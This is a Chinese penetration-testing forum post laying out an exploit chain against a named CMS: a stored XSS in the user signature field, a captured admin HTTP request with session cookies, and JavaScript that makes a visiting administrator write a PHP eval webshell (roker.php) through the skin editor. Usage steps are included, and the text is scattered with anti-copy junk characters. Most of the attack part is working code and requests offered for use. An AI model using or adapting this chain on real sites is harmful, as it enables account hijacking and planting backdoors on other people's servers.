| 这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题- [$ b1 T v; k$ F0 P3 R 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss- O( K0 O1 `. B0 S4 `1 e! ] 漏洞文件 user/member/skin_edit.php; v: _- ~2 N0 j0 f4 {8 E 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名: </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>/ j( ^$ u9 S1 N, A8 P9 ~4 Q% c ; g) j% ?0 h3 p5 L) G$ k2 D, U </textarea></td></tr>2 C5 r0 U4 m5 c+ x ' c$ z8 ^: d3 Z* i4 m user/do.php : ~ V4 J! ~' C: o' H& g6 _3 d% b 2 u# B' b7 N* r' e: _. V* `; t; O 3 l- p$ E1 z% {' y. R if($op=='zl'){ //资料 if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) , B$ I' F2 t. ~( o. j. o: A exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));- h2 P: C" h; Y7 w7 U5 w, d ( @5 ~0 x' b6 O4 h $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',1 \- L) o8 g7 z0 F# X% H$ I 1 D! x/ M1 B4 l CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'";9 T' v- _ h: X0 K' C9 Y 7 W: a" _1 o- |: x if($db->query($sql)){) {9 c/ Z7 O# f exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);')); }else{ exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));7 t$ b- w: t2 U$ J " J: t& {% u3 o" b* {; Q( u }- i8 r& `% S" B7 i 没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。' L/ {& {! \, ~5 {, x& ^0 X4 } Y4 I 抓包。。 9 }% m1 \, L6 e2 n 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 7 _" s* B$ k8 r* y3 s( z# P Accept: text/html, application/xhtml+xml, */* Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php # p& \8 s# {7 C. n" ]& W Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)3 t. C; [: {7 Q7 h9 U7 X8 k4 Q # K/ C/ N& m" e/ J5 ]8 H A2 j1 j' Y Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate ' N) ]$ t* h$ t3 O1 }" U$ b1 f2 V: ? Host: 127.0.0.1" w/ X; I/ B5 C: s$ h Content-Length: 38* M$ P2 F4 c8 b# ^ Q+ s: b DNT: 17 x& `: c8 c' _* a 3 U% f5 ?. }! o/ ^' d Connection: Keep-Alive 2 q1 ?6 r: q7 {' } Cache-Control: no-cache 3 C0 g4 s! e5 _ Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 + k' u! ^' U6 m* l name=aaa.php&content=%3Cs%3E%3Ca%25%3E9 `' C" }0 T% o! W" K% B 5 z8 N1 a+ G- H) y7 c) e# c, V: x* x 于是 构造js如下。 ! \6 y% v2 N! g# f" F# N5 o 本帖隐藏的内容<script> ! Q# {3 x2 x: W, R$ } thisTHost = top.location.hostname; thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";1 D5 c# S+ R% r2 A . ]9 t3 {" A: Z8 Z' ]$ y function PostSubmit(url, data, msg) { f* ^, g- O4 a5 s var postUrl = url;1 M. b, d( c) q4 w- ]2 o- a* H 2 M) K% l; q( Y- X P4 P6 P$ C! ?. d var postData = data; var msgData = msg; " F' q5 h0 b# r2 T2 D1 N var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); . c8 v% S+ i$ v9 K" Q0 t d newElement.setAttribute("name", "name"); newElement.setAttribute("type", "hidden"); 1 b# t2 s3 H3 W var newElement2 = document.createElement("input"); * |/ \2 W2 x8 X; v7 x; s" |: Y newElement2.setAttribute("name", "content"); ! c7 D/ V; S% @& U" f/ u newElement2.setAttribute("type", "hidden"); ExportForm.appendChild(newElement); 5 W5 p4 B" z: _1 F ExportForm.appendChild(newElement2); & h3 a/ l: d; x, D) x newElement.value = postData; newElement2.value = msgData; : N. w# D9 C V. f+ |/ \ ExportForm.action = postUrl; / H+ z2 |2 F l ExportForm.submit(); };8 S2 W0 g! _/ X, V$ M- ]- P! B PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); . y7 ~) {: w8 n6 `, f </script>7 Z+ h- n* C7 J- V : l' j+ ?- I- U http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入6 |0 F) }8 A) w0 x0 ?. c 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改) 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |